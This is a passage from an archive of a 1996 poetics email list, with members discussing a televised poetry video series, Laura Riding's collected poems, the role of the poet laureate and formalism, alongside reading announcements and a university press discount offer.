there's another element here needs to be addressed upfront methinks, and not with my customary antiacademic academic sentiment, but it has to do with academe... and maria hits at it when she discusses her "exasperation with ... more advanced colleagues who don't 'get' that the study and practice of literature can involve joy and spontaneity"... i hear this loud and clear, and correlative to this is the general suspicion in academic-leftist quarters (this includes most of my academic colleagues on poetics, i think, and includes me too) regarding the presumed complicity of cultural production with (unsavory) marketplace motives... yeah, talking about the more materialist-marxist takes on things poetic, and the extent to which these complicate the "joy and spontaneity" to which maria refers...

i wouldn't be *here*---and i wouldn't write poetry or essays or anything over *there*---if i weren't indulging mself in the 'joy and spontaneity' of such doings, if i weren't willing to (as i see it) hazard some sentiment that risked its own commodification, not to say objectification... it really does get to me, the extent to which i seem at times to be caught twixt a scylla and charybdis of critical skepticism and poetic engagement... or mebbe it's poetic skepticism and critical engagement?... no matter, really... if i'm complaining at all about usop, methinks my complaint is likely to be heard outside of academe as somehow elitist and restrictive... mea culpa... but if i'm advocating that usop has something valuable to say to things and practices poetic inside academe (as i am, or i wouldn't have used segments of same in my class---and oh god there i went violating the fbi warning etc), why then this is likely to be heard inside same (by my colleagues, not my students) as somehow anti-intellectual... mea culpa...

on this list, on the other hand---a variable constituency that's large enough, thankfully, to be difficult to get *entirely* a hold of demographically---there's enough outside-of-academe presence so that my usop-remarks enjoy that sort of you're-being-an-elitist scrutiny... which i'm thankful for, in fact, given that, as an academic who scribbles poetry, it's all too easy for me to get you're-being-an-anti-intellectual scrutiny... also, since there are, thankfully, a number of folks around these parts who're neither academic nor likely to think me an elitist (due perhaps to our mutual stake in specific writing traditions) there's an additional presence present... and a number of folks who're not academic who probably *would* see as a bit of a prig... and there is of course this matter of the whitemaleness of this list (or of most of the conversants?), and of how to find ways to exchange ascii with one another that are conducive to other ways of exchanging ascii with one another... and btw, it's not lost on me that my resistance to slams or usop or ? may in fact be, in ways i haven't unpacked for mself, a function of my whitemaleness...

ergo what i'm trying, convolutedly, to say is that i can't but believe it's in the best interests of poetry and criticism and all things in between and beside that perhaps THE widest distribution poetry event of recent years---the most popular, in sheer numbers of people reached---is discussed around here and not simply dismissed... b/c like it or no, this media environs of ours is not going to dissipate... and holding onto a conception of poetry that's inextricably linked to print-writing practices alone is sure to spell a local sort of d-e-m-i-s-e...

best to all//

joe

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134. Chris Stroffolino

Re: contrasimilacrum

Sun 7 Apr 1996

Dear Mark S-- I think Dave's right about PERSEA's collected riding. It was out for a couple of years (like the collected O'Hara) and came back in original form (well, in the 1980 version).... An interesting oddity that I've found is that almost everyone I know who has the 1980 COLLECTED says it falls apart after the first reading... (the binding, not the poems--unless in a "positive" sense)... Allegedly the new version doesn't do this. Now if only a store in Albany, well, that's another....

Dear Dave B-- Well, yes, I do think the article/chapter you mentioned on Riding is not very helpful. Unless one really thinks the LANGUAGE POETS are the TANK we must hop onto to ride into the academy or something.... But, at the same time, I know at least one person who got turned into (onto I mean) her work through that article....And I do believe that POPULARIZERS are very important. It's very easy for many to deride, for instance, Perloff's Book on O'HAra---but it IS the first, and when I was 20 and just getting into poetry it was VERY profound..... And, there's just hardly ANYTHING that really engages Riding's poetry very much out there. At least McGann deals with poems that are more Riding and less Stein... in contradistinction to the Joris/Rothenberg anthology who seemed to try to make Riding into another Stein rather than recognize her own terms as as radical as Stein (see RObert Hale's review in ST. MArk's Newlsletter for an elaboration of some of these points.....) ----chris s.

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135. Andrew D Epstein
Reading at Columbia
Sun 7 Apr 1996

I wanted to announce another poetry reading at Columbia:

The F. W. Dupee Reading Series Presents:

DAVID LEHMAN AND CHARLES NORTH
Introduced by Kenneth Koch
Wednesday, April 10
8 PM
Maison Francaise
Columbia University -- 116th and Broadway
New York

Admission is free
Wine and Cheese reception following the reading

David Lehman is the author of several books of poetry, most recently _Valentine Place_ (1996), and several books of criticism, most recently _The Big Question_ (1995). He is the series editor for the annual series _The Best American Poetry_, and is currently teaching a graduate seminar at Columbia University.

Charles North is the author of numerous books of poetry, including _Leap Year: Poems 1968-1978_ (1978) and _The Year of the Olive Oil_ (1989). With James Schuyler, hed edited _Broadway: A Poets and Painters Anthology (1979) and its sequel, _Broadway 2_ (1989).

Hope to see you there!

Andrew Epstein

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136. Maria Damon
Re: my script for a poetry video...
Sun 7 Apr 1996

tosh --the idea for a poetry of cinema and cinema of poetry anthology is great. jump on it --and we've read abt it here so when someone else beats you to it we'll know it was your idea...(too) --maria d

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137. **Maria Damon**
Re: Poetry video
Sun 7 Apr 1996

always good to hear your long musings joe...md

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138. **tosh berman**
Re: my script for a poetry video...
Sun 7 Apr 1996

> *tosh --the idea for a poetry of cinema and cinema of poetry anthology is great. jump on it --and we've read abt it here so when someone else beats you to it we'll know it was your idea...(too) --maria d*

Dear Maria:

Your much too kind! Maybe this can be a Jerry and Pierre type of project?

↑ Index

139. **Eryque Gleason**
Re: poetry video...
Sun 7 Apr 1996

maria, i spose i can understand some balking at bruce, maybe some indecision about antin, but stein? what is she if she doesn't fit into the categories of poet or playwrite? gentile? (gasp) science fiction?

eryque

At 3:30 PM 4/5/96 -0500, Maria Damon wrote:
>eryque --re comedy/poetry; i take lenny bruce very seriously as a poet, but
>when i offered to write an entry for him for the encylcopedia of jewish poets
>and playwrights, they said naaahh; more puzzling ws they also sed naaah to
>gertrude stein and david antin. i'd written on bruce and antin in Cultural
>Studies back in 1990 or 1991, so i guess ive internalized that continuum.--md

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140. **Eryque Gleason**
happy national poetry month
Sun 7 Apr 1996

y'know, it took a phone call to my father (one of SEVERAL people that said i was stupid for deciding to change from a tech field of study to english) before i knew it was poetry month.

for women's history month and black history month the libraries and bookstores put posterboard cutouts of important women and black people (respective/fully), can we get them to put up cardboard cutouts of important poems?

happy easter!

eryque

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141. **Bob Holman**

Re: POETICS Digest - 4 Apr 1996 to 5 Apr 1996

Mon 8 Apr 1996

Joe, your comment re: some poems work better for videos gives pause. It raises the what is a poem : which I believe is totally an issue of intent.

I think some poems in USOP work better than others, some parts of some videod poems work while others don t, etc. - film/videotape being a new medium, lots of places to make wrong steps especially when the goal is first of all to make it to broadcast --- simultaneous with utopian to make poem collaboratively w/poet and film crew and refusal to accept current standards as standard. On the basest level, we were able to get some of the seven deadly words on TV, we were able to have gay love on TV, etc.-- and, we kept the poetry in our title and at worst referred consistently to this beloved literary form.

I d be interested in which poems you think _did_ work, and why. Hopefully, we are developing a way to read a poem on TV, which is not what MTV has in mind. USOP is not an ad for the poem, but the poems themselves, which can, as you noted, utilize language of advertising while adding, or subverting, same.....

Charles, your point on the indy as aesthetic is well taken; please put me in touch with Video Art Network/Nancy Solomon. I spent six ears producing/directing Poetry Spots for WNYC-TV, the City-owned public TV station here in NY, and loved it. Walter Lew showed his video (made with director Lewis Klahr) at his Poetry City reading last week -- still one of my favorites My all-time fave is The Great American Roller Coaster Poem, made with Cathy Bowman and a gang of deaf poets from Lexington High and their hearing peers from across the City -- Teachers and Writers put it together. Of course, the low-budge approach gives more control, fewer tech possibilities, and no chance whatsoever of airing on national TV. The excuse PBS generally uses is the production values aren t up to their standards, and this rationale has been used to keep most of the ITVS (Independent Television Service) shows off the air. We were very conscious of that as we tried to get the risky content/language on air in USOP. Unlike the Moyers show (which I liked, although I think it works better aural only -- the audience reaction shots sapped energy), PBS refused to schedule USOP on a

national feed, making it very difficult to build a national presence for the series. We plan to make more -- let me know what something you re left wanting. All ideas, poems welcome. But I don t think a national TV broadcast is a priori the Readers-Digesting of po. In USOP poets were engaged as possible in the creation of their pieces; the whole project was poet-driven.

John S Hall, in Percy Dovetonsils drag, with a celli backup, with an intermission and return with a martini all in a 50 second piece, I love it that this one-off is seen as a piece about poetry. Hall is probably a hero to many of your students, Joe, an should be known to all, having seven albums out with his former band, King Missile and the first #1 College Radio Hit Ever of a spoken word piece, his Detachable Penis. Like the Sex Pistols for us, he s tweaking every nose (and nipple) he can find in My Lover. His Scorsese is a tour de force off the wall deconstruct of Taxi Driver /hero worship/poetry itself. He bumbles across the stage like Dylan Thomas on ecstasy and ludes. He bashes literature, deadpans, and leaves audiences rolling. I don t know if this piece makes it as poem/poetry video, but his appearance in USOP gives a rolling howl to whatever GenX stage we re in now. Hall s talking it.

Which is pleasure many take -- Sue Wallis s mom wanted me to know she loved the purty poem of Sue and Rod, but did it _have_ to follow Allen Ginsberg in his underwear? Even when she fast forwards you can see. This is exposing different poetries to different audiences. As you come upon Hall, as students come upon Eigner, Creeley. As rap is situated in this context and square-dance calling. Who draws the lines? Drawing this kind of interest, eliciting this kind of discussion, how does USOP not contribute to the poetic environs ?

As for inability to read the image technologies, or whether you re perhaps too generous about, hey -- why not check text with vidpo and see what s up. Like all poetry, the poems on USOP want to be read more than once. The amount of time and effort spent on each frame -- syllables, and phonemes! it was five years in the making.

Next?

Bob Holman

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142. Kevin Killian
Re: happy national poetry month
Mon 8 Apr 1996

At 10:26 PM 4/7/96, Eryque Gleason wrote:
>y'know, it took a phone call to my father (one of SEVERAL people that said

>i was stupid for deciding to change from a tech field of study to english)
>before i knew it was poetry month.

Dear Eryque, hi, this is Kevin Killian. Here in San Francisco every month is National Poetry Month. Dodie got an invitation in this deluxe 60 pound engraved stationery, like a wedding invitation, from "Robert Hss, United States Poet Laureate" to go to this reception honoring San Francisco's most important poets . . . Francisco X. Alarcon, Marilyn Chin, Thom Gunn, Brenda Hillman (Mrs. Robert Hass), June Jordan, Czeslaw Milosz, Michael Palmer, Adrienne Rich and Gary Snyder! And I'm going too! Because the invitation said, bring three other guests. It's tonight!

Eryque, doesn't your father live around here? Maybe he's going too! But don't ask Tom Clark. Asked about Robert Hass, he just growls, "Poet Laureate Robert Hass-author of two slim volumes of poetry?" Anyhow, I can't wait until *I'm* poet laureate of the United States and can ask people to come to meet other people at the Hayes Street Grill-a great restaurant here in San Francisco. More later on National Poetry Month here in the cool gray city of love.

K. Killian 1996

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143. Ron Silliman
Patchen and Cage
Mon 8 Apr 1996

This was posted yesterday on the "silence" listserv:

Those interested in Patchen and/or the link between
Patchen and Cage may like to see the Kenneth Patchen home page
at :

http://ourworld.compuserve.com/homepages/marcus_williamson/patchbib.htm

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144. Ron Silliman
National Poultry Month
Mon 8 Apr 1996

Kevin, et al,

" Anyhow, I can't wait until *I'm* poet laureate of the United States and can ask people to come to meet other people at the Hayes Street Grill-a great restaurant here in San Francisco. More later on National Poetry Month here in the cool gray city of love."

My sense of Bob Hass' stint as Laureate is that he has been actively using the occasion to get himself in front of unlikely audiences (e.g., business groups) to talk about the need for arts funding, has used the Library of Congress to link in with some other events/causes (e.g., the broad series of readings for the environment that went on awhile back) and has invited the likes of Lyn Hejinian and Carl Rakosi to read at the Library of Congress. All in all, a pretty fair usage of what is ultimately a silly title.

Ron Silliman

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145. Schuchat
Re: National Poultry Month
Mon 8 Apr 1996

Ron (and others),

while what you say about Robert Hass (Haas?) stint as Laureate sounds very reasonable and accurate, we've been having these Laureates, and before that Consultants in Poetry at the LOC, and all of them (even William Jay Smith, and he took the job after he failed to be reelected to Congress) could probably have their tenure described in similar terms.

But can you think of any of the incumbents of either of these positions that had any lasting impact? on anything? I mean, other than Williams being denied the position (for what, the last line of CHORALE: THE PINK CHURCH?), by virtue of their holding the position?

I grew up in DC and believe me, Mike Lally had more impact than any of the Consultants during the ten or so years he was in DC -- and I strongly suspect he got more ink in the Washington Post over those years than they did. He brought more poetry to the DC area, encouraged more poets, drew together more disparate scenes (though I think he, too, was not very successful in bridging the racial divides of DC) than any of them.

Maybe when Bob Holman is Laureate...

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146. Pierre Joris
Re: my script for a poetry video...
Mon 8 Apr 1996

On Sun, 7 Apr 1996, tosh berman wrote:

> >tosh --the idea for a poetry of cinema and cinema of poetry anthology is
> >great. jump on it --and we've read abt it here so when someone else beats

> >you to it we'll know it was your idea...(too) --maria d
>
>
> Dear Maria:
>
> Your much too kind! Maybe this can be a Jerry and Pierre type of project?
>
Dear Tosh:
You too are much too kind! I think Jerry & I are going to take a serious holiday from anthologyzing -- maybe you shld take Maria's advice & do that book! -- Pierre

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147. Henry Gould
Re: russian avant-garde poets
Mon 8 Apr 1996

Elena Shvarts is a terrific St. Petersburg poet, though maybe not avant-gardie enough for this list. Bloodaxe Bks has a bk of hers in english called "Paradise". She's been published around in journals, the forthcoming _alea_ has some good poems of hers coming soon. - Henry Gould

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148. Mark Wallace
conspicuous repetition and the multiplicity of forms (fwd)
Mon 8 Apr 1996

Annie Finch asked that I forward this message to the list.

mark wallace

---------- Forwarded message ----------
Date: Thu, 04 Apr 1996 09:37:33 -0500 (EST)
From:[redacted]
To: [redacted]
Subject: conspicuous repetition and the multiplicity of forms

Dear Mark Wallace.

My colleague Keith Tuma forwarded me your message to the poetics list, which I found of graet interest, patticularly since it seems to be part of a discussion I would have been enjoying had I not foresworn all lists for the time being in fa-vor of my parenting responsibilities.

At any rate, I wanted to respond toyour comment and also to solicit some of your perspectives on form.

I was rather embarrassed that you (naturally) took seriously my intentional simplification of my initial position on formalism, which I had aimed at the AWP audience in an effort not to alienate them from nontransparent langauge at the outset. But of course I shoulod have expected that; that is how I positioned the article.

I was more intrigued by your comment about the overlooked forms. In fact, when I was editing AFFC, I searched for" avant garde" and experimental poems that were formal by my definition (structured byt he conspicuous repetition of any language element). Iw as teaching at New College in SF at the time, and I spoke with Lyn Hejinian and some others about it. All I could some up with was the poems by Leslie Simon, some of my favorites in the book. The others would fall through the cracks because of the "conspicuous" part of the definition; as I mentioned int he AWP piece but didn't discuss thoroughly enough, as I nsee now, Jackson Maclow type forms aren't conspicuous enough to work in the conte3xt of formalism as I define it.

I'd like you to direct me to any work you know that is formal by my definition, and that I am overlooking. THis is particularly important to me now since I am now coediting another book based on the same defiinition of form, which would give me a chance to remedy the oversights of the previous anthology.

Thanks in advance for any information you can pass on.
Sincerely,
Annie Finch

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149. Mark Wallace

Re: conspicuous repetition and the multiplicity of forms (fwd)

Mon 8 Apr 1996

---------- Forwarded message ----------
Date: Mon, 8 Apr 1996 09:38:43 -0400 (EDT)
From: Mark Wallace <[redacted]>
To: [redacted]
Subject: Re: conspicuous repetition and the multiplicity of forms

Dear Annie Finch:

Thanks for your query. Of course, I suppose the whole crux of the matter has to do with how one sees the issue of "conspicuous repetition" of forms--your own definition is still not quite clear to me. Are we talking about repetition of forms only regarding certain kinds of end words or rhyme schemes or meters,

or are we speaking, more broadly, about any type of repeated language element or self-generated repeating form? Please excuse me that I don't have all the titles of the books I'm about to mention--I don't have e-mail access at home, and so must use it in a large computer room without books in front of me.

For instance, does Bernadette Mayer's The Sonnets meet the requirements you're looking for--complete repetition of 14-line structures without ordinary sonnet rhyme schemes? What about the visual "dictionary" poems produced by Tina Darragh (which have appeared in several publications), which all contain bits of a dictionary framed by odd geometrical patterns? What about the repetition of line patterns in the work of Susan Howe in a book like Articulations of Sound Forms in Time, or the Letters to Mina Harker of Dodie Bellamy (with others), an ongoing epistolary series? Or Juliana Spahr's poem in the most recent Avec, in which the phrase "this is true" repeated over and over becomes a satirical mantra on the notion of what our society understands as a true story?

It's interesting to me that Jackson Mac Low becomes an example for you of someone who does not conspicuously use formal repetition, since he seems to me one of the most blatant formalists of the second half of the twentieth century. See for instance Henry Taylor's essay on Mac Low--Taylor is himself an intensely traditional formalist, yet he finds Mac Low's work interesting precisely because of the rigor of Mac Low's own thinking, in a very different tradition, about the use of formal, repetitive elements.

I do apologize if I missed the point of the context in which you were speaking--as a teacher, I certainly understand that difficult material often has to be presented, at least at first, in a way that people are prepared to understand. Of course, this does not really change my criticism of AWP as a mechanicism supposedly designed for the promotion of poetry inside an academic, creative writing program context. The idea that twenty years after the first emergence of LANGUAGE poetry, it still has to be presented in a professional journal as something that people have never heard of seems to me pretty distressing.

Since you've asked that I forward your own query to me to the list, I hope you won't mind that I forward my response here to the list also.

I hope that we can continue this conversation.

Sincerely,

Mark Wallace

On Thu, 4 Apr 1996 [redacted] wrote:

> *Dear Mark Wallace.*
>
> *My colleague Keith Tuma forwarded me your message to the poetics list, which I*

> *found of graet interest, patticularly since it seems to be part of a discussion I would have been enjoying had I not foresworn all lists for the time being in favor of my parenting responsibilities.*
>
> *At any rate, I wanted to respond toyour comment and also to solicit some of your perspectives on form.*
>
> *I was rather embarrassed that you (naturally) took seriously my intentional simplification of my initial position on formalism, which I had aimed at the AWP audience in an effort not to alienate them from nontransparent langauge at the outset. But of course I shoulod have expected that; that is how I positioned the article.*
>
> *I was more intrigued by your comment about the overlooked forms. In fact, when I was editing AFFC, I searched for" avant garde" and experimental poems that were formal by my definition (structured byt he conspicuous repetition of any language element). Iw as teaching at New College in SF at the time, and I spoke with Lyn Hejinian and some others about it. All I could some up with was the poems by Leslie Simon, some of my favorites in the book. The others would fall through the cracks because of the "conspicuous" part of the definition; as I mentioned int he AWP piece but didn't discuss thoroughly enough, as I nsee now, Jackson Maclow type forms aren't conspicuous enough to work in the conte3xt of formalism as I define it.*
>
> *I'd like you to direct me to any work you know that is formal by my definition, and that I am overlooking. THis is particularly important to me now since I am now coediting another book based on the same defiinition of form, which would give me a chance to remedy the oversights of the previous anthology.*
>
> *Thanks in advance for any information you can pass on.*
> *Sincerely,*
> *Annie Finch*

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150. **Robert Drake**

Re: poetry video...

Mon 8 Apr 1996

---

this just came in over a different list; my slip server is down so i can't vouch for the content, but may be ov use to someone...

> *...Other new additions include: The Zuzu's Petals Literary Resource Video Guide--Films inspired by The Arts at http://www.hway.net/zuzu/artfilm.htm ...*

asever
lbd

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151. **Joe Amato**
poetry video...
Mon 8 Apr 1996

bob, far as i'm concerned, the genres are all blurred, *anything* can be a poem (we owe this much to duchamp)... once i'm told this is how something is being offered to me, though, i kick into "ok let's see what this *is* as a poem" mode... that is, there *are* categories, if blurred, and how we use our categories is keyed into so many realities/histories... anyway, i'd be lying if i didn't acknowledge my tendency to evaluate, to judge what i see/experience, esp. art, and for that matter to try to understand the basis for my judgment/taste... if not right away, then eventually---and i expect as much from those who presume themselves poets, artists, engineers, etc... as much as i'm for the celebratory, i see as well the need to do more---not necessarily to entertain, say, but to upset mebbe... and i don't mean this latter in aesthetic terms only...

so for me, it's not and never has been only about language... at the same time, i'm looking for art to do a lot, quite a lot... and i think it's necessary to ask for this, mebbe even to demand it in a general, non-pushy sorta way, b/c there's so much crap 'out there' that we're busy being bombarded with... it's almost in fact impossible to talk about "quality" these days (look what the corporate folks have done to that poor word since pirsig, and look what it was before pirsig, and look at what pirsig did with it!)... ergo trying to find a way to discuss what works for me as poetry is difficult, and what works for me as poetry is not necessarily what works for me as comedy, and as somebody pointed out, the performance of poetry in general complicates the poem... but i expect all poetry, really, to exhibit a careful attention to language issues and tissues... and even to say this is of course only a beginning...

there are so many differing aesthetics and values, but at the same time methinks it's important to recognize that there are powerful normative institutional forces at work in this culture, that these exert a tremendous pressure on folks like you to construct a video in accordance with xyz demands (as you indicate, the absence of profanity being one such demand, one that you managed to overcome), and on anybody who's invested (ugh) in making and offering in a public sense... which i take to be anybody who makes and offers... but in more subtle terms, these forces work ultimately to construct audiences... the same forces, in fact, which have relegated poetry in so many ways to the sort of construction many (even academic) folks think it is, hence don't really know how to approach same in a contemporary sense having been taught that it *is* this one thing...

i can't suggest any peculiar how's here, though there are aesthetics i'd argue for over and against others depending on one's motives... but i can say that there probably is some value in general in challenging orthodox beliefs...

and raising this question of an orthodoxy is to the point here... fact is, many of my students these days, if not most, view the reagan era as a benign golden age (this is partly a function of mine being a tech. campus)... now given that i'm not particularly motivated mself by majority beliefs, and that i hear at least once a semester that this selfsame majority 'doesn't agree with me' (which is true in more ways than one), and (not to be didactic, but---) given that the reagan years constitute in my view the greatest political debacle of the past half-century---given all of this, when i find my students initially taking to a guy like hall (and believe me, i'm not out of touch with the pop music or tv or film scenes etc) and i find mself saying 'this is too easy,' well then perhaps there *is* a lack of critical reception taking place, perhaps hall has played into the same old same old comedy-entertainment grid that i see all the damned time on hbo or or or...

i know this is a bit hard, again, on hall, but what i'm trying to say here is that you really can't talk about the formal qualities of this or that w/o eventually considering context... esp. not where relative values are concerned, where you're looking to understand whether understanding has taken place, or whatever it is one is after artistically... and i hope to hell i'm not suggesting a sort of artistic sanctity here, which couldn't be further from my aim...

ok ok, i go on... so, as maria sez, sue me... seems to me this is tough stuff to discuss, and again, critical to the moment... and i appreciate again your openness, bob, to discussing this ex post facto stuff, esp. in the wake of alla that work you put into usop, as if that weren't enough...

best,

joe

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152. Michael Boughn

Re: happy national poetry month

Mon 8 Apr 1996

> *Anyhow, I*
> *can't wait until *I'm* poet laureate of the United States and can ask*
> *people to come to meet other people at the Hayes Street Grill-a great*
> *restaurant here in San Francisco. More later on National Poetry Month here*
> *in the cool gray city of love.*
>
> *K. Killian 1996*

Me neither. Can I come?

Mike
[redacted]

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153. **Henry Gould**
Re: happy national poetry month
Mon 8 Apr 1996

On Mon, 8 Apr 1996 11:55:56 -0400 Michael Boughn said:
>> can't wait until *I'm* poet laureate of the United States and can ask
>> people to come to meet other people at the Hayes Street Grill-a great
>> restaurant here in San Francisco. More later on National Poetry Month here

Well, as I understand it, Ted Berrigan is poet laureate for the time being. He died on the 4th of July and is meeting people at the Gem Spa in Mannahatt. - Henry Gould

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154. **Douglas Messerli**
Re: contemporary Russian avant-garde
Mon 8 Apr 1996

I presume you know of Sun & Moon Press's publications
of Arkadii Dragomoschenko's DESCRIPTION and XENIA.
Avec Press also has published Alexei Parshchikov's
BLUE VITRIOL. And the University of Iowa has published
John Glad's and Daniel Weissbort's TWENTIETH-CENTURY
RUSSIAN POETRY, which has some new Russian Poetry.
Ed Foster of Talisman has been very involved in contem-
porary Russian poetry.

I think going to a library would help. There has been a great
deal about contemporary Russian poetry in the last
few years.

Douglas Messerli

At 10:36 PM 4/6/96 -0800, you wrote:
> i would appreciate leads on contemporary Russian avant-garde
>(I am aware of the pitfalls noted here of this name) poetry and
>poets - here or there, here or backchannel.
>tom
>

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155. tosh berman
Re: Beyond Baroque Free event
Mon 8 Apr 1996

TONIGHT: April 8 8:00 P.M., Monday

FROM A TO Z (ASHBERY TO ZUKOFSKY): A 19TH AND 20 TH c. Poetry Reading Circle

For anyone who enjoys reading poetry! Each participant should bring 15 copies of one or two poems written by a 19th or 20th c. poet who has published at least one volume of poetry.

Biographical information on the selected poet would be useful (and may be presented orally) but is not required. The poems will be read out loud and discussed by the group, which will meet in Beyond Baroque on second Monday of every month at 8:00 p.m.

This event is hosted by Shelley A. Berger.

Beyond Baroque is located at:

681 Venice Blvd.

phone no: [redacted].

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156. Hank Lazer
special offer --
Mon 8 Apr 1996

Poetics List:

Based on earlier discussions, especially on Taggart's essays on Zukofsky, Oppen, and others, I asked the UA Press if they might offer a sale to the Poetics group. What follows is a response that makes these books more affordable.

Hank Lazer

SPECIAL OFFER!!!

The University of Alabama Press is pleased to offer the following books to members of the Poetics Listserv at a special discount. Please see ordering information at the end of the list.

1. Apocalypse and After: Modern Strategy and Postmodern Tactics in Pound, Williams, and Zukofsky
Bruce Comens

Comens examines the development of Modernism into Postmodernism as it occurs in the works of three major poets and attends closely to the social and political dimensions of that development as embodied in these writers' distinctive poetics. Modernism's struggle to develop a new global strategy was to a great extent a response to the catastrophe of World War I, while the Postmodern resort to fragmentary tactics stems from the failure of Modernist strategy both the avert World War II and to come to terms with the horror of the atomic bomb.

"A significant contribution to the critical literature in Pound, Williams and Zukofsky, as well as to the theory of Modernism and Postmodernism in American poetry."--Charles Bernstein, State University of New York-Buffalo.

Bruce Comens is Assistant Professor of English at Temple University.

224pp. 1995 $23.95 paper, special 40% discount price $14.37

2. Scars: American Poetry in the Face of Violence
Edited by Cynthia Dubin Edelberg

"A dazzling array of perspectives on domestic, racial, and military violence."--Charles Altieri, University of California-Berkeley

POEMS BY: Diane Abu-Jaber, Jimmy Santiago Baca, John Balaban, Michael Blumenthal, Hayden Carruth, Samuel Charters, Amy Clampitt, Robert Creeley, Carlos Cumpian, Toi Derricotte, Rita Dove, Rachel Blau DuPlessis, W.D. Ehrhart, Martin Espada, George Evans, Allen Ginsberg, Nikki Giovanni, Albert Goldbarth, Corrinne Hales, Joy Harjo, Samuel Hazo, William Heyen, Garrett Hongo, David Ignatow, Lawson Fusao Inada, Henry Johnson, Lawrence Joseph, Pamala Karol [La Loca], Etheridge Knight, Yusef Komunyakaa, Maxine Kumin, William Logan, Adrian C. Louis, Haki Madhubuti, Clarence Major, Michael McClure, Elizabeth McKim, Janice Mirikitani, Jose Montoya, Joyce Carol Oates, Dwight Okita, Sharon Olds, Peter Oresick, Alicia Ostriker, Pedro Pietri, Luis J. Rodriguez, Mark Rudman, Harvey Shapiro, Leslie Marmon Silko, Dave Smith, William Stafford, Gerald Stern, Diane Wakoski, Rosmarie Waldrop, Michael Warr, Bruce Weigl, James Welch, Charles Wright, and Robert Wrigley.

Cynthia Dubin Edelberg is Associate Professor and Director of Graduate Studies in English at Cleveland State University.

224pp. 1995 $24.95, paper, special 40% discount price $14.97

3. A Reader's Guide to the Poetry of Richard Wilbur
Rodney Stenning Edgecombe

United States poet laureate Richard Wilbur (b. 1921) has been an important figure in American literature since World War II. Yet in spite of this formal recognition, commentary on Wilbur's poetic achievement has been comparatively

sparse. Edgecombe helps to redress this relative neglect by providing a unique and comprehensive critical guide to the poetry of Richard Wilbur. He considers the entire range of Wilbur's poetry from his first collection to his most recent verse.

"This excellent reader's guide offers a learned and lucid view of Wilbur's poetry, of its thematic unity and its formal diversity. Those intending to consult the book piecemeal are likely to find themselves reading further, admiring Edgecombe's sympathetic mastery of his subject."--Robert B. Shaw, Mount Holyoke College

Rodney Stenning Edgecombe is Professor of English at the University of Cape Town.

192pp. 1995 $29.95 paper, special 40% discount price $17.97

4. The Metaphysics of Sound in Wallace Stevens
Anca Rosu

Wallace Stevens dedicated his poetry to challenging traditional notions about reality, truth, knowledge, and the role of language as a means of representation. Rosu demonstrates that Stevens's experimentation with sound is not only essential to his poetics but also profoundly linked to the pragmatist ideas that informed his way of thinking about language. Her readings of Stevens's poems focus on revealing the dynamic through which meaning emerges in language patterns--a dynamic she calls images of sound.

"While critics have always known that sound was important to Stevens, no one before has explored so thoroughly how crucial sound is to Stevens's poetics, even metaphysics. Rosu makes a much needed contribution to the study of one of our major poets and to poetics as well."--Jacqueline Vaught Brogan, University of Notre Dame

"Rosu's challenging book . . . is worth close reading."--CHOICE

"Rosu provides a scintillating flamboyant reading of Stevens which in many ways breaks new ground. . . . Highly recommended. We believe this title will be recognized for its outstanding critical acumen."--The Reader's Review

Anca Rosu teaches in the English Department at Rutgers University.

200pp. 1995 $39.95 cloth, special 40% discount price $23.97

5. The Tribe of John: Ashbery and Contemporary Poetry
Edited by Susan M. Schultz

This groundbreaking collection of essays focuses on the new generation of postmodern poets who are clearly indebted to John Ashbery's work. By concentrating on Ashbery's influence on contemporary American poetry, the contributors

provide new methods for interpreting and understanding his poetic schievement.

CONTRIBUTORS INCLUDE: Charles Altieri, Charles Bernstein, George Bradley, Bonnie Costello, John Ernest, John Gery, John Koethe, James McCorkle, Stephen Paul Miller, Fred Moramarco, Jonathan Morse, Donald Revell, Andrew Ross, and John Shoptaw

"An impressive book that makes an important contribution to the understanding both of John Ashbery's work and of the cultural contexts at work in the making of contemporary American poetry."--Hank Lazer, The University of Alabama

Susan M. Schultz is Assistant Professor of English at the University of Hawai'i-Manoa.

288pp. 1995 $28.95 paper, special 40% discount price $17.37

6. Songs of Degrees: Essays on Contemporary Poetry and Poetics
John Taggart
With an Introduction by Marjorie Perloff

A collection of 19 related essays on contemporary American poetry and poetics, published as journal articles between 1975 and 1989, by poet and theorist John Taggart. By focusing on the work of several major and less well-known American experimental poets from the 1930s to the present, Taggart not only traces the origins and evolution of this experimental tendency in recent poetry, but also develops new theoretical tools for reading and appreciating these innovative and complex works.

"The most perceptive readings available of two major American poets, George Oppen and Louis Zukofsky."--Hank Lazer, The University of Alabama

John Taggart is Professor of English and Director of the Interdisciplinary Arts Program, Shippensburg University.
Marjorie Perloff is Sadie Dernham Patek Professor of Humanities at Stanford University.

272pp. 1994 $29.95 paper, special 40% discount price $17.97

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University of Alabama Press
Box 870380
Tuscaloosa, AL 35487-0380
E-mail: [redacted]
[redacted]/ Fax [redacted]

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157. Eryque Gleason
Re: happy national poetry month
Mon 8 Apr 1996

Dear Kevin, it's good to hear from you again.

> *Here in San Francisco every month is National Poetry Month.*

i don't mean to pick nits, but how can it be national every month only in san francisco?

yep, my father lives in the san francisco suburbs. somehow i don't think that he's gonna be at the reception though. i'm still trying to convince him that most poets look more or less like "normal" people.

kevin, (and michael too) when you're poet laureate will you invite me to the reception?

eryque (comin at'cha live from a grey city.)

↑ Index

158. Chris Stroffolino
symmetry
Mon 8 Apr 1996

Just received in the mail the latest AVEC book by Laura Moriarty. Definitely one of the best books I've read in the last year... Only about halfway through it. It is demanding, tropologically subtle work, lyric, somewhat minimalistic (yet with more "meat" than much minimalism--meat as meaning, as murder?). Also, a kind of feminism is very central to it. Perhaps it may be linked to Susan Howe's "archive" trip, but I actually prefer it to much Howe because it is also "love poetry" (albiet love poetry that is ALSO a critique of love poetry...but then that, for me, has always been true of the best love poetry). There is much more to say about it, it'd be interesting if anybody else has anything to say.... I wrote a lot in the margins, which I will not here post.... I just wanted to mention it. Chris Stroffolino

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159. Chris Stroffolino
Re: new york city, a bag
Mon 8 Apr 1996

I just wanted to announce that Jordan Davis and myself will be reading this saturday at the EAR INN (a reading hosted by Lisa Jarnot) this saturday (oops, repetition).....

2:30. For more infor, feel free to backchannel....

Chris Stroffolino

"I had to say something that would strike him pretty weird
So I shouted 'I like [the unabomber] and his beard'"

zimmy....

↑ Index

160. David Baratier
Happy poetry month
Mon 8 Apr 1996

Kevin,

